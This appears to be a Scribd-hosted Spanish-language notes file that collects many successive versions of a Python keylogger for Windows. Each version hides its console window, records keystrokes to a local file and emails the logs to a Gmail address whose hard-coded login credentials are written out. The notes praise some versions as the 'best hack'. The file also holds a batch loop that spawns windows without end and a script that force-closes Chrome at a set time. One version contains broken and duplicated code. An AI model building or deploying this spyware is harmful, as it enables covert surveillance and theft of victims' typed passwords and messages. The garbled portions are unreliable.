0% found this document useful (0 votes)
4 views16 pages

Version Hk

Uploaded by

wikegi4317
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
4 views16 pages

Version Hk

Uploaded by

wikegi4317
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
You are on page 1/ 16

:bucle

star hola
goto gil

si guardo lo de arriba en.bat si ejecutara cmd infinitamente, para PARARLO MANTENER


ALT F4 HASTA QUE DEJE DE GENERAR

cd .\downloads\ # Cambiar al directorio "downloads"


pip install .\pywin32-228-cp36-cp36m-win32.whl # Instalar el paquete de Python
desde el archivo .whl

=======================================
import pythoncom
import pyHook
import keyboard
import win32gui
import win32console
import win32con
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText

# Ruta al archivo de registro


log_file = "registro.txt"

# Configuración del servidor SMTP para enviar correo electrónico


smtp_server = 'smtp.gmail.com'
smtp_port = 587
smtp_user = 'diego.alch4@gmail.com'
smtp_password = 'Hola,ostrastio@auris.com'
email_from = 'diego.alch4@gmail.com'
email_to = 'diego.alch4@gmail.com'

# Contadores de pulsaciones de tecla "Enter" y clics de ratón


enter_count = 0
mouse_click_count = 0

# Función para enviar correo electrónico


def send_email(subject, message):
msg = MIMEMultipart()
msg['From'] = email_from
msg['To'] = email_to
msg['Subject'] = subject
msg.attach(MIMEText(message, 'plain'))

try:
server = smtplib.SMTP(smtp_server, smtp_port)
server.starttls()
server.login(smtp_user, smtp_password)
text = msg.as_string()
server.sendmail(email_from, email_to, text)
server.quit()
print("Correo electrónico enviado con éxito.")
except Exception as e:
print("Error al enviar el correo electrónico:", str(e))

# Función de registro de teclas


def OnKeyboardEvent(event):
global enter_count
if event.Ascii == 13: # Tecla "Enter"
enter_count += 1
if enter_count >= 5:
enter_count = 0
with open(log_file, 'r') as f:
log_content = f.read()
send_email("Registro de pulsaciones de teclado y ratón",
log_content)
with open(log_file, 'w') as f:
f.truncate()
else:
with open(log_file, 'a') as f:
f.write(chr(event.Ascii))
return True

# Función de registro de clics de ratón


def OnMouseEvent(event):
global mouse_click_count
mouse_click_count += 1
if mouse_click_count >= 5:
mouse_click_count = 0
with open(log_file, 'r') as f:
log_content = f.read()
send_email("Registro de pulsaciones de teclado y ratón", log_content)
with open(log_file, 'w') as f:
f.truncate()
return True

# Ocultar la ventana de la consola


win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win, win32con.SW_HIDE)

# Instalar un filtro de teclado y ratón


hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
hm.MouseAll = OnMouseEvent
hm.HookMouse()

# Iniciar el bucle de mensajes


pythoncom.PumpMessages()

==========================================================================2

import keyboard
import win32gui
import win32console
import win32con
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText

log_file = "registro.txt"

smtp_server = 'smtp.gmail.com'
smtp_port = 587
smtp_user = 'diego.alch4@gmail.com'
smtp_password = 'Hola,ostrastio@auris.com'
email_from = 'diego.alch4@gmail.com'
email_to = 'diego.alch4@gmail.com'

enter_count = 0

def send_email(subject, message):


msg = MIMEMultipart()
msg['From'] = email_from
msg['To'] = email_to
msg['Subject'] = subject
msg.attach(MIMEText(message, 'plain'))

try:
server = smtplib.SMTP(smtp_server, smtp_port)
server.starttls()
server.login(smtp_user, smtp_password)
text = msg.as_string()
server.sendmail(email_from, email_to, text)
server.quit()
except Exception as e:
pass

def on_key_event(event):
global enter_count
if event.name == 'enter':
enter_count += 1
if enter_count >= 5:
enter_count = 0
with open(log_file, 'r') as f:
log_content = f.read()
send_email("Registro de pulsaciones de teclado y ratón",
log_content)
with open(log_file, 'w') as f:
f.truncate()
else:
with open(log_file, 'a') as f:
f.write(event.name)
return True

win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win, win32con.SW_HIDE)

keyboard.on_press(on_key_event)

keyboard.wait()

===================================================================================
========3 EL MEJOR FINAL

import keyboard
import win32gui
import win32console
import win32con
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText

log_file = "registro.txt"
smtp_server = 'smtp.gmail.com'
smtp_port = 587
smtp_user = 'diego.alch4@gmail.com'
smtp_password = 'ghtd rlbu heih klaf' # Nueva contraseña
email_from = 'diego.alch4@gmail.com'
email_to = 'diego.alch4@gmail.com'

enter_count = 0

def send_email(subject, message):


msg = MIMEMultipart()
msg['From'] = email_from
msg['To'] = email_to
msg['Subject'] = subject
msg.attach(MIMEText(message, 'plain'))

try:
server = smtplib.SMTP(smtp_server, smtp_port)
server.starttls()
server.login(smtp_user, smtp_password)
text = msg.as_string()
print("Contenido del mensaje:")
print(text)
server.sendmail(email_from, email_to, text)
server.quit()
print("Correo electrónico enviado con éxito.")
except Exception as e:
print("Error al enviar el correo electrónico:", str(e))

def on_key_event(event):
global enter_count
key = event.name

# Manejar la barra espaciadora, el clic izquierdo del mouse y la tecla enter


if key == 'space':
key = ' ' # Reemplazar la barra espaciadora por un espacio en blanco
elif key == 'enter':
key = '\n' # Reemplazar la tecla enter por un salto de línea
enter_count += 1
if enter_count >= 5:
enter_count = 0
with open(log_file, 'r') as f:
log_content = f.read()
send_email("Registro de pulsaciones de teclado y ratón",
log_content)
with open(log_file, 'w') as f:
f.truncate()
elif key == 'backspace' or key == 'left mouse':
key = '\n' # Separar las palabras escribiendo en la siguiente línea

with open(log_file, 'a') as f:


f.write(key)
return True

win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win, win32con.SW_HIDE)
keyboard.on_press(on_key_event)

keyboard.wait()

===================================================================================
=============CERRAR CHROME
import os
from datetime import datetime, time
import time as t

def cerrar_programa(programa):
os.system("TASKKILL /F /IM " + programa + ".exe")

def cerrar_programa_a_la_hora(programa, hora_cierre):


while True:
ahora = datetime.now().time()
if ahora >= hora_cierre:
cerrar_programa(programa)
break
t.sleep(60) # Espera 60 segundos antes de verificar de nuevo

if __name__ == "__main__":
programa_a_cerrar = "chrome.exe"
hora_de_cierre = time(22,20) # Hora de cierre (12:00 PM)

cerrar_programa_a_la_hora(programa_a_cerrar, hora_de_cierre)

===================================================================================
=============nueva version key

import keyboard
import win32gui
import win32console
import win32con
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText

log_file = "registro.txt"

smtp_server = 'smtp.gmail.com'
smtp_port = 587
smtp_user = 'diego.alch4@gmail.com'
smtp_password = 'ghtd rlbu heih klaf' # Nueva contraseña
email_from = 'diego.alch4@gmail.com'
email_to = 'diego.alch4@gmail.com'

enter_count = 0

def send_email(subject, message):


msg = MIMEMultipart()
msg['From'] = email_from
msg['To'] = email_to
msg['Subject'] = subject
msg.attach(MIMEText(message, 'plain'))

try:
server = smtplib.SMTP(smtp_server, smtp_port)
server.starttls()
server.login(smtp_user, smtp_password)
text = msg.as_string()
print("Contenido del mensaje:")
print(text)
server.sendmail(email_from, email_to, text)
server.quit()
print("Correo electrónico enviado con éxito.")
except Exception as e:
print("Error al enviar el correo electrónico:", str(e))

def on_key_event(event):
global enter_count
key = event.name

# Teclas que deseas omitir


keys_to_ignore = ['right', 'shift', 'alt', 'alt gr', 'ctrl']

# Manejar la barra espaciadora, el clic izquierdo del mouse y la tecla enter


if key == 'space':
key = ' ' # Reemplazar la barra espaciadora por un espacio en blanco
elif key == 'enter':
key = '\n' # Reemplazar la tecla enter por un salto de línea
enter_count += 1
if enter_count >= 5:
enter_count = 0
with open(log_file, 'r') as f:
log_content = f.read()
send_email("Registro de pulsaciones de teclado y ratón",
log_content)
with open(log_file, 'w') as f:
f.truncate()
elif key == 'backspace' or key == 'left mouse':
key = '\n' # Separar las palabras escribiendo en la siguiente línea
elif key.lower() in
return True

with open(log_file, 'a') as f:


f.write(key)
return True

win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win, win32con.SW_HIDE)

keyboard.on_press(on_key_event)

keyboard.wait()

# Teclas que deseas omitir


keys_to_ignore = ['right', 'shift', 'alt', 'alt gr', 'ctrl']

# Manejar la barra espaciadora, el clic izquierdo del mouse y la tecla enter


if key == 'space':
key = ' ' # Reemplazar la barra espaciadora por un espacio en blanco
elif key == 'enter':
key = '\n' # Reemplazar la tecla enter por un salto de línea
enter_count += 1
if enter_count >= 5:
enter_count = 0
with open(log_file, 'r') as f:
log_content = f.read()
send_email("Registro de pulsaciones de teclado y ratón",
log_content)
with open(log_file, 'w') as f:
f.truncate()
return False # Detener el registro de la tecla Enter
elif key == 'backspace' or key == 'left mouse':
key = '\n' # Separar las palabras escribiendo en la siguiente línea
elif key.lower() in keys_to_ignore:
# Ignorar las teclas definidas en keys_to_ignore
return False # Detener el registro de las teclas ignoradas

with open(log_file, 'a') as f:


f.write(key)
return True

win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win, win32con.SW_HIDE)

keyboard.on_press(on_key_event)

keyboard.wait()

======================================================================otra version

import keyboard
import win32gui
import win32console
import win32con
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText

log_file = "registro.txt"

smtp_server = 'smtp.gmail.com'
smtp_port = 587
smtp_user = 'diego.alch4@gmail.com'
smtp_password = 'ghtd rlbu heih klaf' # Nueva contraseña
email_from = 'diego.alch4@gmail.com'
email_to = 'diego.alch4@gmail.com'

enter_count = 0

def send_email(subject, message):


msg = MIMEMultipart()
msg['From'] = email_from
msg['To'] = email_to
msg['Subject'] = subject
msg.attach(MIMEText(message, 'plain'))

try:
server = smtplib.SMTP(smtp_server, smtp_port)
server.starttls()
server.login(smtp_user, smtp_password)
text = msg.as_string()
print("Contenido del mensaje:")
print(text)
server.sendmail(email_from, email_to, text)
server.quit()
print("Correo electrónico enviado con éxito.")
except Exception as e:
print("Error al enviar el correo electrónico:", str(e))

def on_key_event(event):
global enter_count
key = event.name

# Teclas que deseas omitir


keys_to_ignore = ['right', 'shift', 'alt', 'alt gr', 'ctrl']

# Manejar la barra espaciadora, el clic izquierdo del mouse y la tecla enter


if key == 'space':
key = ' ' # Reemplazar la barra espaciadora por un espacio en blanco
elif key == 'enter':
key = '\n' # Reemplazar la tecla enter por un salto de línea
enter_count += 1
if enter_count >= 5:
enter_count = 0
with open(log_file, 'r') as f:
log_content = f.read()
send_email("Registro de pulsaciones de teclado y ratón",
log_content)
with open(log_file, 'w') as f:
f.truncate()
return False # Detener el registro de la tecla Enter
elif key == 'backspace' or key == 'left mouse':
key = '\n' # Separar las palabras escribiendo en la siguiente línea
elif key.lower() in keys_to_ignore:
# Ignorar las teclas definidas en keys_to_ignore
return False # Detener el registro de las teclas ignoradas

with open(log_file, 'a') as f:


f.write(key)
return True

win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win, win32con.SW_HIDE)

keyboard.on_press(on_key_event)

keyboard.wait()

===================================================================================
=mejor version de hack

import keyboard
import win32gui
import win32console
import win32con
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
log_file = "registro.txt"

smtp_server = 'smtp.gmail.com'
smtp_port = 587
smtp_user = 'diego.alch4@gmail.com'
smtp_password = 'ghtd rlbu heih klaf'
email_from = 'diego.alch4@gmail.com'
email_to = 'diego.alch4@gmail.com'

enter_count = 0

def send_email(subject, message):


msg = MIMEMultipart()
msg['From'] = email_from
msg['To'] = email_to
msg['Subject'] = subject
msg.attach(MIMEText(message, 'plain'))

try:
server = smtplib.SMTP(smtp_server, smtp_port)
server.starttls()
server.login(smtp_user, smtp_password)
text = msg.as_string()
print("Contenido del mensaje:")
print(text)
server.sendmail(email_from, email_to, text)
server.quit()
print("Correo electrónico enviado con éxito.")
except Exception as e:
print("Error al enviar el correo electrónico:", str(e))

def on_key_event(event):
global enter_count
key = event.name
scan_code = event.scan_code

# Lista de teclas a ignorar (nombre y/o scan_code)


keys_to_ignore = ['right', 'shift', 'alt']
scan_codes_to_ignore = [54, 42, 56] # 54 para Ctrl, 42 para Shift, 56 para Alt

if key == 'space':
key = ' '
elif key == 'enter':
key = '\n'
enter_count += 1
if enter_count >= 3:
enter_count = 0
with open(log_file, 'r') as f:
log_content = f.read()
send_email("Registro de teclas", log_content)
with open(log_file, 'w') as f:
f.truncate()
elif key == 'backspace' or key == 'left mouse':
key = '\n'
elif key.lower() in keys_to_ignore or scan_code in scan_codes_to_ignore:
return True # Ignora la tecla si está en la lista de ignoradas

with open(log_file, 'a') as f:


f.write(key)
return True

# Oculta la consola de Windows


win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win, win32con.SW_HIDE)

# Asocia la función on_key_event al evento de presionar teclas


keyboard.on_press(on_key_event)

# Espera hasta que se presione una tecla (ejecución infinita)


keyboard.wait()
===================================================================================
==LA MEJOR VERSION DEL CODIGOOOOO SOLO FALTA CORREGIR Ñ
import keyboard
import win32gui
import win32console
import win32con
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText

log_file = "registro.txt"

smtp_server = 'smtp.gmail.com'
smtp_port = 587
smtp_user = 'diego.alch4@gmail.com'
smtp_password = 'ghtd rlbu heih klaf'
email_from = 'diego.alch4@gmail.com'
email_to = 'diego.alch4@gmail.com'

enter_count = 0

def send_email(subject, message):


msg = MIMEMultipart()
msg['From'] = email_from
msg['To'] = email_to
msg['Subject'] = subject
msg.attach(MIMEText(message, 'plain'))

try:
server = smtplib.SMTP(smtp_server, smtp_port)
server.starttls()
server.login(smtp_user, smtp_password)
text = msg.as_string()
print("Contenido del mensaje:")
print(text)
server.sendmail(email_from, email_to, text)
server.quit()
print("Correo electrónico enviado con éxito.")
except Exception as e:
print("Error al enviar el correo electrónico:", str(e))

def on_key_event(event):
global enter_count

# Lista de teclas a ignorar (nombre y/o scan_code)


keys_to_ignore = ['right', 'shift', 'alt']
scan_codes_to_ignore = [42, 54, 56] # 42 para Shift, 54 para Ctrl, 56 para Alt
if event.name == 'ctrl':
return True # Ignora la tecla Ctrl

if event.scan_code in scan_codes_to_ignore:
return True # Ignora otras teclas según su scan_code

key = event.name

if key == 'space':
key = ' '
elif key == 'enter':
key = '\n'
enter_count += 1
if enter_count >= 3:
enter_count = 0
with open(log_file, 'r') as f:
log_content = f.read()
send_email("Registro de teclas", log_content)
with open(log_file, 'w') as f:
f.truncate()
elif key == 'backspace' or key == 'left mouse':
key = '\n'

with open(log_file, 'a') as f:


f.write(key)

return True

# Oculta la consola de Windows


win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win, win32con.SW_HIDE)

# Asocia la función on_key_event al evento de presionar teclas


keyboard.on_press(on_key_event)

# Espera hasta que se presione una tecla (ejecución infinita)


keyboard.wait()

=================================================================================me
jor version que omite alt gralt
import keyboard
import win32gui
import win32console
import win32con
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText

log_file = "registro.txt"

smtp_server = 'smtp.gmail.com'
smtp_port = 587
smtp_user = 'diego.alch4@gmail.com'
smtp_password = 'ghtd rlbu heih klaf'
email_from = 'diego.alch4@gmail.com'
email_to = 'diego.alch4@gmail.com'

enter_count = 0
def send_email(subject, message):
msg = MIMEMultipart()
msg['From'] = email_from
msg['To'] = email_to
msg['Subject'] = subject
msg.attach(MIMEText(message, 'plain'))

try:
server = smtplib.SMTP(smtp_server, smtp_port)
server.starttls()
server.login(smtp_user, smtp_password)
text = msg.as_string()
print("Contenido del mensaje:")
print(text)
server.sendmail(email_from, email_to, text)
server.quit()
print("Correo electrónico enviado con éxito.")
except Exception as e:
print("Error al enviar el correo electrónico:", str(e))

def on_key_event(event):
global enter_count

# Lista de teclas a ignorar (nombre y/o scan_code)


keys_to_ignore = ['right', 'shift', 'alt']
scan_codes_to_ignore = [42, 54, 56] # 42 para Shift, 54 para Ctrl, 56 para Alt
alt_gr_scan_codes = [541] # Scan code específico para Alt Gr

if event.name == 'ctrl':
return True # Ignora la tecla Ctrl

if event.scan_code in scan_codes_to_ignore:
return True # Ignora otras teclas según su scan_code

# Manejo específico de Alt Gr


if event.scan_code in alt_gr_scan_codes:
return True # Ignora Alt Gr

key = event.name

if key == 'space':
key = ' '
elif key == 'enter':
key = '\n'
enter_count += 1
if enter_count >= 3:
enter_count = 0
with open(log_file, 'r') as f:
log_content = f.read()
send_email("Registro de teclas", log_content)
with open(log_file, 'w') as f:
f.truncate()
elif key == 'backspace' or key == 'left mouse':
key = '\n'

with open(log_file, 'a') as f:


f.write(key)
return True

# Oculta la consola de Windows


win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win, win32con.SW_HIDE)

# Asocia la función on_key_event al evento de presionar teclas


keyboard.on_press(on_key_event)

# Espera hasta que se presione una tecla (ejecución infinita)


keyboard.wait()

===================================================================================
===version ignora flecha arriba, abajo, izquierda , derecha| version 15/6
import keyboard
import win32gui
import win32console
import win32con
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText

log_file = "registro.txt"

smtp_server = 'smtp.gmail.com'
smtp_port = 587
smtp_user = 'diego.alch4@gmail.com'
smtp_password = 'ghtd rlbu heih klaf'
email_from = 'diego.alch4@gmail.com'
email_to = 'diego.alch4@gmail.com'

enter_count = 0

def send_email(subject, message):


msg = MIMEMultipart()
msg['From'] = email_from
msg['To'] = email_to
msg['Subject'] = subject
msg.attach(MIMEText(message, 'plain'))

try:
server = smtplib.SMTP(smtp_server, smtp_port)
server.starttls()
server.login(smtp_user, smtp_password)
text = msg.as_string()
print("Contenido del mensaje:")
print(text)
server.sendmail(email_from, email_to, text)
server.quit()
print("Correo electrónico enviado con éxito.")
except Exception as e:
print("Error al enviar el correo electrónico:", str(e))

def on_key_event(event):
global enter_count

# Lista de teclas a ignorar (nombre y/o scan_code)


keys_to_ignore = ['right', 'shift', 'alt', 'up', 'down', 'left']
scan_codes_to_ignore = [42, 54, 56, 72, 80, 75, 77] # 42 para Shift, 54 para
Ctrl, 56 para Alt, 72-80 para flechas

if event.name == 'ctrl':
return True # Ignora la tecla Ctrl

if event.scan_code in scan_codes_to_ignore:
return True # Ignora otras teclas según su scan_code

key = event.name

if key == 'space':
key = ' '
elif key == 'enter':
key = '\n'
enter_count += 1
if enter_count >= 3:
enter_count = 0
with open(log_file, 'r') as f:
log_content = f.read()
send_email("Registro de teclas", log_content)
with open(log_file, 'w') as f:
f.truncate()
elif key == 'backspace' or key == 'left mouse':
key = '\n'

with open(log_file, 'a') as f:


f.write(key)

return True

# Oculta la consola de Windows


win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win, win32con.SW_HIDE)

# Asocia la función on_key_event al evento de presionar teclas


keyboard.on_press(on_key_event)

# Espera hasta que se presione una tecla (ejecución infinita)


keyboard.wait()

===================================================================================
===================ESTA VERSION EVITA PALABRAS REPETIDAS, PODRIA FINALIZAR ACA EL
PROYECTO

import keyboard
import win32gui
import win32console
import win32con
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText

log_file = "registro.txt"

smtp_server = 'smtp.gmail.com'
smtp_port = 587
smtp_user = 'diego.alch4@gmail.com'
smtp_password = 'ghtd rlbu heih klaf'
email_from = 'diego.alch4@gmail.com'
email_to = 'diego.alch4@gmail.com'

buffer = [] # Almacena temporalmente las pulsaciones antes de escribirlas en el


archivo

def send_email(subject, message):


msg = MIMEMultipart()
msg['From'] = email_from
msg['To'] = email_to
msg['Subject'] = subject
msg.attach(MIMEText(message, 'plain'))

try:
server = smtplib.SMTP(smtp_server, smtp_port)
server.starttls()
server.login(smtp_user, smtp_password)
text = msg.as_string()
server.sendmail(email_from, email_to, text)
server.quit()
print("Correo electrónico enviado con éxito.")
except Exception as e:
print("Error al enviar el correo electrónico:", str(e))

def on_key_event(event):
global buffer

keys_to_ignore = ['right', 'shift', 'alt', 'up', 'down', 'left']


scan_codes_to_ignore = [42, 54, 56, 72, 80, 75, 77]

if event.name == 'ctrl':
return True

if event.scan_code in scan_codes_to_ignore:
return True

key = event.name

if key == 'space':
key = ' '
elif key == 'enter':
key = '\n'
buffer.append(key) # Agrega el salto de línea al buffer
if len(buffer) >= 3:
log_content = ''.join(buffer)
send_email("Registro de teclas", log_content)
with open(log_file, 'w') as f:
f.write("") # Limpia el contenido del archivo
buffer.clear() # Limpia el buffer después de enviar el correo
return True # Retorna True para evitar escribir '\n' en el archivo
elif key == 'backspace' or key == 'left mouse':
key = '\n'

buffer.append(key) # Agrega la tecla al buffer

# Guarda en el archivo solo si no es un carácter especial


if len(key) == 1:
with open(log_file, 'a') as f:
f.write(key)
return True

# Oculta la consola de Windows


win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win, win32con.SW_HIDE)

# Asocia la función on_key_event al evento de presionar teclas


keyboard.on_press(on_key_event)

# Espera hasta que se presione una tecla (ejecución infinita)


keyboard.wait()

You might also like

pFad - Phonifier reborn

Pfad - The Proxy pFad of © 2024 Garber Painting. All rights reserved.

Note: This service is not intended for secure transactions such as banking, social media, email, or purchasing. Use at your own risk. We assume no liability whatsoever for broken pages.


Alternative Proxies:

Alternative Proxy

pFad Proxy

pFad v3 Proxy

pFad v4 Proxy